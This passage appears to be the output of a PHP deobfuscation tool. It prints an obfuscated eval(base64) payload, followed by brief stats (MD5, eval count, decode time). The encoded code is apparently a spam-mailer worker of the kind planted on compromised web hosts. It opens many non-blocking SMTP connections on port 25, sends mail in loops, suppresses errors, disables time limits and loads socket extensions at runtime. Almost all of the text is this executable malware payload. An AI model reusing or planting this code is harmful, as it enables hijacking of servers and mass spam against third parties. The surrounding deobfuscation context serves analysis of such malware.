tZKTsNCiAgICAgZWxzZQ0KICAgICAgICRzdGF0dXMgPSBXb3JrZXJfU2VuZFF1aXQoJG9wRGF0YSwgTUFJTF9TVEFUVVNfVU5MVUNLWV9DT05URU5UKTsNCiAgfQ0KICAvLyBCU01fU0VTU0lPTl9TVEFURV9RVUlUDQogIGVsc2UgaWYoJHNtdHBTdGF0ZSA9PSBTTVRQX1NUQVRFX1FVSVQpDQogIHsNCiAgICAkc3RhdHVzID0gRFJfQ2xvc2U7DQogIH0NCiAgDQogICRvcERhdGFbJ3JlY3ZCdWZmZXInXSA9ICcnOw0KDQogIHJldHVybiAkc3RhdHVzOw0KfQ0KDQoNCmZ1bmN0aW9uIFdvcmtlcl9Jc0lvUGVuZGluZygkcmVzKQ0Kew0KICAkZXJyID0gc29ja2V0X2xhc3RfZXJyb3IoKTsNCiAgaWYoJHJlcyA9PSBGQUxTRSAmJiAkZXJyID0gMTAwMzUpDQogICAgcmV0dXJuIFRSVUU7DQogIHJldHVybiAkcmVzOw0KfQ0KDQoNCmZ1bmN0aW9uIFdvcmtlcl9PblNlbGVjdCgmJG9wRGF0YSkNCnsNCiAgZ2xvYmFsICRnX2lMb2NrZWRPcHM7DQogIA0KICAkcmVzdWx0ICAgID0gRFJfVW5kZWY7DQogICRzb2NrZXQgICAgPSAkb3BEYXRhWydzb2NrZXQnXTsNCiAgJGRhdGFTdGF0ZSA9ICRvcERhdGFbJ2RhdGFTdGF0ZSddOw0KICANCiAgLy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgLy8gSU8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgLy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgaWYoJGRhdGFTdGF0ZSA9PSBEUl9TZW5kKQ0KICB7DQogICAgJGJ1ZmZlciA9ICYkb3BEYXRhWydzZW5kQnVmZmVyJ107DQogICAgJHJlcyA9IEBzb2NrZXRfc2VuZCgkc29ja2V0LCAkYnVmZmVyLCBzdHJsZW4oJGJ1ZmZlciksIDApOw0KICAgIGlmKFdvcmtlcl9Jc0lvUGVuZGluZygkcmVzKSA9PSBGQUxTRSkNCiAgICAgICAkcmVzdWx0ID0gRFJfRXJyb3I7DQogICAgICRvcERhdGFbJ2xhc3RUaW1lJ10gPSB0aW1lKCk7DQogIH0NCiAgZWxzZSBpZigkZGF0YVN0YXRlID09IERSX1JlY3YpDQogIHsNCiAgICAkYnVmZmVyID0gJyc7ICAgIA0KICAgICRyZXMgPSBAc29ja2V0X3JlY3YoJHNvY2tldCwgJGJ1ZmZlciwgNDA5NiwgMCk7DQogICAgaWYoV29ya2VyX0lzSW9QZW5kaW5nKCRyZXMpID09IEZBTFNFKQ0KICAgICAgJHJlc3VsdCA9IERSX0Vycm9yOw0KICAgIGlmKCRidWZmZXIgPT0gTlVMTCkNCiAgICAgICRyZXN1bHQgPSBEUl9FcnJvcjsNCiAgICAkb3BEYXRhWydyZWN2QnVmZmVyJ10gLj0gJGJ1ZmZlcjsNCiAgICAkb3BEYXRhWydsYXN0VGltZSddID0gdGltZSgpOw0KICB9DQogIGVsc2UgaWYoJGRhdGFTdGF0ZSA9PSBEUl9UaW1lb3V0KQ0KICB7DQogICAgJHJlc3VsdCA9IERSX0Vycm9yOw0KICB9DQogIA0KICAvLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAvLyBEaXNwYXRjaCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAvLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICBpZigkcmVzdWx0ID09IERSX1VuZGVmKQ0KICB7DQogICAgLy8gU2VuZA0KICAgIGlmKCRkYXRhU3RhdGUgPT0gRFJfU2VuZCkNCiAgICAgICRyZXN1bHQgPSBXb3JrZXJfRGlzcGF0Y2hTZW5kKCRvcERhdGEpOw0KICAgIC8vIFJlY2VpdmUNCiAgICBlbHNlIGlmKCRkYXRhU3RhdGUgPT0gRFJfUmVjdikNCiAgICAgICRyZXN1bHQgPSBXb3JrZXJfRGlzcGF0Y2hSZWN2KCRvcERhdGEpOw0KICB9DQogIA0KICBpZigkcmVzdWx0ID09IERSX0Nsb3NlIHx8ICRyZXN1bHQgPT0gRFJfRXJyb3IpDQogIHsNCiAgICBpZigkb3BEYXRhWydzb2NrZXQnXSkNCiAgICAgIC0tJGdfaUxvY2tlZE9wczsNCiAgICBAc29ja2V0X2Nsb3NlKCRzb2NrZXQpOw0KICAgICRvcERhdGFbJ3NvY2tldCddID0gTlVMTDsNCiAgICBpZigkcmVzdWx0ID09IERSX0Vycm9yKQ0KICAgICAgV29ya2VyX1B1dE1haWwoJG9wRGF0YVsnbWFpbEluZGV4J10sIE1BSUxfU1RBVFVTX1VOTFVDS1lfVElNRU9VVCk7DQogIH0NCg0KICAvLyBTZW5kTWFpbHMNCiAgV29ya2VyX1NlbmRNYWlscygpOw0KfQ0KDQoNCmZ1bmN0aW9uIFdvcmtlcl9GaW5kRnJlZVNvY2tldCgpDQp7DQogIGdsb2JhbCAkZ19hT3BEYXRhOw0KICBmb3IoJGkgPSAwOyAkaSA8IENGR19OVU1fU09DS0VUUzsgKyskaSkNCiAgew0KICAgICRvcERhdGEgPSAmJGdfYU9wRGF0YVskaV07DQogICAgaWYoJG9wRGF0YVsnc29ja2V0J10gPT0gTlVMTCkNCiAgICAgIHJldHVybiAkaTsNCiAgfQ0KICByZXR1cm4gLTE7DQp9DQoNCmZ1bmN0aW9uIFdvcmtlcl9TZW5kTWFpbCgpDQp7DQogIGdsb2JhbCAkZ19hT3BEYXRhOw0KICBnbG9iYWwgJGdfaUxvY2tlZE9wczsNCiAgICANCiAgJGluZGV4ID0gV29ya2VyX0ZpbmRGcmVlU29ja2V0KCk7DQogIGlmKCRpbmRleCAhPSAtMSkNCiAgew0KICAgICRvcERhdGEgPSAmJGdfYU9wRGF0YVskaW5kZXhdOw0KICAgIGxpc3QoJG1haWxJbmRleCwgJG1haWxTZXJ2ZXIpID0gV29ya2VyX0dldE1haWwoJG9wRGF0YSk7DQogICAgaWYoJG1haWxJbmRleCAhPSAtMSkNCiAgICB7DQogICAgICAkc29ja2V0ID0gc29ja2V0X2NyZWF0ZShBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7DQogICAgICBpZigkc29ja2V0KQ0KICAgICAgew0KICAgICAgICBzb2NrZXRfc2V0X25vbmJsb2NrKCRzb2NrZXQpOw0KICAgICAgICAkb3BEYXRhWydtYWlsSW5kZXgnXSA9ICRtYWlsSW5kZXg7DQogICAgICAgIA0KICAgICAgICAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzb2NrZXQsIGxvbmcyaXAoJG1haWxTZXJ2ZXIpLCAyNSk7DQogICAgICAgIGlmKFdvcmtlcl9Jc0lvUGVuZGluZygkcmVzKSA9PSBUUlVFKQ0KICAgICAgICB7DQogICAgICAgICAgKyskZ19pTG9ja2VkT3BzOw0KICAgICAgICAgICRvcERhdGFbJ3NvY2tldCddID0gJHNvY2tldDsNCiAgICAgICAgICAkb3BEYXRhWydsYXN0VGltZSddID0gdGltZSgpOw0KICAgICAgICAgIFdvcmtlcl9TZXRTdGF0ZXMoJG9wRGF0YSwgU01UUF9TVEFURV9DT05ORUNULCBEU19SZWN2KTsNCiAgICAgICAgICByZXR1cm4gVFJVRTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICBXb3JrZXJfUHV0TWFpbCgkbWFpbEluZGV4LCBNQUlMX1NUQVRVU19VTkxVQ0tZX1RJTUVPVVQpOw0KICAgICAgICAgIEBzb2NrZXRfY2xvc2UoJHNvY2tldCk7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogIH0NCiAgDQogIHJldHVybiBGQUxTRTsNCn0NCg0KZnVuY3Rpb24gV29ya2VyX1NlbmRNYWlscygpDQp7DQogICRudW1NYWlscyA9IDA7DQogIHdoaWxlKFdvcmtlcl9TZW5kTWFpbCgpKQ0KICAgICsrJG51bU1haWxzOw0KICByZXR1cm4gJG51bU1haWxzOw0KICANCn0NCg0KDQpmdW5jdGlvbiBXb3JrZXJfQ2hlY2tUaW1lb3V0cygkbGFzdFRpbWUpDQp7DQogIGdsb2JhbCAkZ19hT3BEYXRhOw0KICBmb3IoJGkgPSAwOyAkaSA8IGNvdW50KCRnX2FPcERhdGEpOyArKyRpKQ0KICB7DQogICAgJG9wRGF0YSA9ICYkZ19hT3BEYXRhWyRpXTsNCiAgICBpZigkb3BEYXRhWydzb2NrZXQnXSAhPSBOVUxMKQ0KICAgIHsNCiAgICAgICRsYXN0VGltZSA9ICRsYXN0VGltZSAtICRvcERhdGFbJ2xhc3RUaW1lJ107DQogICAgICAkd29ya1RpbWUgPSAkbGFzdFRpbWUgLSAkb3BEYXRhWydzdGFydFRpbWUnXTsNCiAgICAgIGlmKCRsYXN0VGltZSA+PSBDRkdfU09DS19USU1FT1VUIHx8ICR3b3JrVGltZSA+PSBDRkdfU09DS19XT1JLX1RJTUUpDQogICAgICB7DQogICAgICAgICRvcERhdGFbJ2RhdGFTdGF0ZSddID0gRFJfVGltZW91dDsNCiAgICAgICAgV29ya2VyX09uU2VsZWN0KCRvcERhdGEpOw0KICAgICAgfQ0KICAgIH0NCiAgfQ0KfQ0KDQoNCmZ1bmN0aW9uICZXb3JrZXJfR2V0T3BEYXRhKCRzKQ0Kew0KICBnbG9iYWwgJGdfYU9wRGF0YTsNCiAgZm9yKCRpID0gMDsgJGkgPCBjb3VudCgkZ19hT3BEYXRhKTsgKyskaSkNCiAgew0KICAgICRvcERhdGEgPSAmJGdfYU9wRGF0YVskaV07DQogICAgaWYoJG9wRGF0YVsnc29ja2V0J10gPT0gJHMpDQogICAgICByZXR1cm4gJG9wRGF0YTsNCiAgfQ0KICByZXR1cm4gTlVMTDsNCn0NCg0KZnVuY3Rpb24gRG9Kb2IoKQ0Kew0KICBnbG9iYWwgJGdfYU9wRGF0YTsNCiAgZ2xvYmFsICRnX2lMb2NrZWRPcHM7DQogIGdsb2JhbCAkZ19pRnJlZU1haWxzOw0KICAgICAgICANCiAgLy8gRXZlbnQgY3ljbGUNCiAgd2hpbGUoJGdfaUxvY2tlZE9wcyB8fCAkZ19pRnJlZU1haWxzKQ0KICB7DQogICAgJHJlYWQgICA9IGFycmF5KCk7DQogICAgJHdyaXRlICA9IGFycmF5KCk7DQogICAgJGV4Y2VwdCA9IE5VTEw7DQogICAgICAgIA0KICAgIC8vIEZpbGwgYXJyYXlzDQogICAgZm9yKCRpID0gMDsgJGkgPCBDRkdfTlVNX1NPQ0tFVFM7ICsrJGkpDQogICAgew0KICAgICAgJG9wRGF0YSA9ICYkZ19hT3BEYXRhWyRpXTsNCiAgICAgIGlmKCRvcERhdGFbJ3NvY2tldCddICE9IE5VTEwpDQogICAgICB7DQogICAgICAgIGlmKCRvcERhdGFbJ2RhdGFTdGF0ZSddID09IERTX1JlY3YpDQogICAgICAgICAgJHJlYWRbXSA9ICRvcERhdGFbJ3NvY2tldCddOw0KICAgICAgICBlbHNlIGlmKCRvcERhdGFbJ2RhdGFTdGF0ZSddID09IERTX1NlbmQpDQogICAgICAgICAgJHdyaXRlW10gPSAkb3BEYXRhWydzb2NrZXQnXTsNCiAgICAgIH0NCiAgICB9DQogICAgDQogICAgLy8gRXZlbnRzDQogICAgJG51bSA9IEBzb2NrZXRfc2VsZWN0KCRyZWFkLCAkd3JpdGUsICRleGNlcHQsIDEwKTsNCiAgICBpZigkbnVtKQ0KICAgIHsgICAgICANCiAgICAgIGZvcigkaSA9IDA7ICRpIDwgc2l6ZW9mKCRyZWFkKTsgKyskaSkNCiAgICAgIHsNCiAgICAgICAgJG9wRGF0YSA9ICZXb3JrZXJfR2V0T3BEYXRhKCRyZWFkWyRpXSk7DQogICAgICAgIFdvcmtlcl9PblNlbGVjdCgkb3BEYXRhKTsNCiAgICAgIH0NCiAgICAgIGZvcigkaSA9IDA7ICRpIDwgc2l6ZW9mKCR3cml0ZSk7ICsrJGkpDQogICAgICB7DQogICAgICAgICRvcERhdGEgPSAmV29ya2VyX0dldE9wRGF0YSgkd3JpdGVbJGldKTsNCiAgICAgICAgV29ya2VyX09uU2VsZWN0KCRvcERhdGEpOw0KICAgICAgfQ0KICAgIH0NCiAgICANCiAgICAvLyBUaW1lb3V0cw0KICAgIFdvcmtlcl9DaGVja1RpbWVvdXRzKHRpbWUoKSk7DQogIH0NCn0NCg0KDQpmdW5jdGlvbiBTdGFydEpvYigpDQp7DQogIC8vIEluaXQNCiAgV29ya2VyX0luaXREYXRhKCk7DQogIA0KICAvLyBTZW5kTWFpbHMNCiAgV29ya2VyX1NlbmRNYWlscygpOw0KfQ0KDQpmdW5jdGlvbiBTdG9wSm9iKCkNCnsNCiAgZ2xvYmFsICRnX2FNYWlsRGF0YSwgJGdfYkRiZ1Jlc3BzOw0KDQogICRzdGF0cyA9ICdkb25lOic7DQogIGZvcigkaSA9IDA7ICRpIDwgY291bnQoJGdfYU1haWxEYXRhKTsgKyskaSkNCiAgew0KICAgICRtYWlsID0gJiRnX2FNYWlsRGF0YVskaV07DQogICAgJHN0YXRzIC49ICgwICsgJG1haWxbJ3N0YXR1cyddKTsNCiAgICBpZigkZ19iRGJnUmVzcHMpDQogICAgew0KICAgICAgaWYoc3RybGVuKCRtYWlsWydyZXNwb25zZSddKSA+IDk5KQ0KICAgICAgICAgJG1haWxbJ3Jlc3BvbnNlJ10gPSBzdWJzdHIoJG1haWxbJ3Jlc3BvbnNlJ10sIDAsIDk5KTsNCiAgICAgICRzdGF0cyAuPSBzcHJpbnRmKCIlMDJkIiwgc3RybGVuKCRtYWlsWydyZXNwb25zZSddKSk7DQogICAgICAkc3RhdHMgLj0gJG1haWxbJ3Jlc3BvbnNlJ107DQogICAgfQ0KICB9DQogIGVjaG8oJHN0YXRzKTsNCn0NCg0KZnVuY3Rpb24gU2hvd1ByZXZpZXcoKQ0Kew0KICAkbGV0dGVyID0gJyc7DQoNCg0KICAvL01haWxfR2VuZXJhdGUoJGxldHRlciwgJ2pqa2onLCAkZnJvbU5hbWUsICRmcm9tQWRkcik7DQoNCg0KICBlY2hvKCRsZXR0ZXIpOw0KfQ0KDQoNCmZ1bmN0aW9uIExvYWRFeHRlbnNpb24oJGV4dCkNCnsNCiAgJGxpYiA9ICRleHQuJy5zbyc7DQogIGlmKHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09PSAnV0lOJykNCiAgICAkbGliID0gJ3BocF8nLiRleHQuJy5kbGwnOw0KICANCiAgaWYoIWV4dGVuc2lvbl9sb2FkZWQoJGV4dCkpDQogIHsNCiAgICBpZighZGwoJGxpYikpDQogICAgICByZXR1cm4gRkFMU0U7DQogIH0NCiAgcmV0dXJuIFRSVUU7DQp9DQoNCmZ1bmN0aW9uIFdvcmsoKQ0Kew0KICBnbG9iYWwgJGdfYkRiZ1Jlc3BzOw0KICBnbG9iYWwgJFRUX1RvX0FkZHJlc3M7DQoNCg0KICBzZXRfdGltZV9saW1pdCgwKTsNCiAgaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAnMCcpOw0KICBMb2FkRXh0ZW5zaW9uKCdzb2NrZXRzJyk7DQoNCg0KDQogIC8vIGRlYnVnDQogLy8gJGdfYkRiZ1Jlc3BzID0gJF9QT1NUWydkYmdSZXNwcyddOw0KICANCiANCiAgTWFpbF9Jbml0RGF0YSgpOyAgDQoNCg0KIGlmKGlzc2V0KCRUVF9Ub19BZGRyZXNzKSkNCi8vICBpZigxPT0xKQ0KICB7DQogICAgU3RhcnRKb2IoKTsNCiAgICBEb0pvYigpOw0KICAgIFN0b3BKb2IoKTsNCiAgfQ0KICBlbHNlDQogIHsNCiAgICBTaG93UHJldmlldygpOw0KICB9DQoNCn0NCg0KDQpXb3JrKCk7DQo=\"); eval(\$_d4c2dce976dd88001971a2fec476b7d93bdd123f35205df21bedbe7690cde50c);")); ?>

Function Calls

None

Variables

None

Stats

MD5 f6988b42a73f9f48fddd5bf6880fec86
Eval Count 1
Decode Time 1556 ms